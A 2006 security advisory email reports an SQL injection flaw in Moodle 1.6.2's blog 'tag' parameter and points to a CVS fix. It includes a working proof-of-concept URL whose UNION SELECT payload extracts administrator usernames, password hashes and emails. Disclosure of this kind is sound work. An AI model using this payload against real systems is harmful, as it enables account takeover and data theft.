From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 10 Oct 2006 17:07:40 +0200
Subject: [UNIX] Moodle tag Parameter SQL Injection
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Moodle tag Parameter SQL Injection
------------------------------------------------------------------------
SUMMARY
A security vulnerability was recently discovered in all versions of Moodle
1.6 and later that allows SQL injection.
DETAILS
Vulnerable Systems:
* Moodle version 1.6.2
Immune Systems:
* Moodle CVS
Prequisites:
* The moodle blog "module" must be enabled
* Guest access to the blog must be enabled
Proof of Concept:
/blog/index.php?tag=x%2527 UNION SELECT %2527-1 UNION SELECT
1,1,1,1,1,1,1,username,password,1,1,1,1,1,1,1,username,password,email FROM
mdl_user RIGHT JOIN mdl_user_admins ON
mdl_user.id%3dmdl_user_admins.userid UNION SELECT
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 FROM mdl_post p,
mdl_blog_tag_instance bt, mdl_user u WHERE 1%3D0%2527,1,1,%25271
Solution:
Update your servers using CVS as soon as possible, or edit the file
blog/index.php in your copy manually as described here:
<http://cvs.moodle.com/blog/index.php?r1=1.18.2.2&r2=1.18.2.3>;
http://cvs.moodle.com/blog/index.php?r1=1.18.2.2&r2=1.18.2.3
ADDITIONAL INFORMATION
The information has been provided by <mailto:disfigure@gmail.com.>
disfigure.
The original article can be found at:
<http://w4ck1ng.com/board/showthread.php?t=1305>;
http://w4ck1ng.com/board/showthread.php?t=1305
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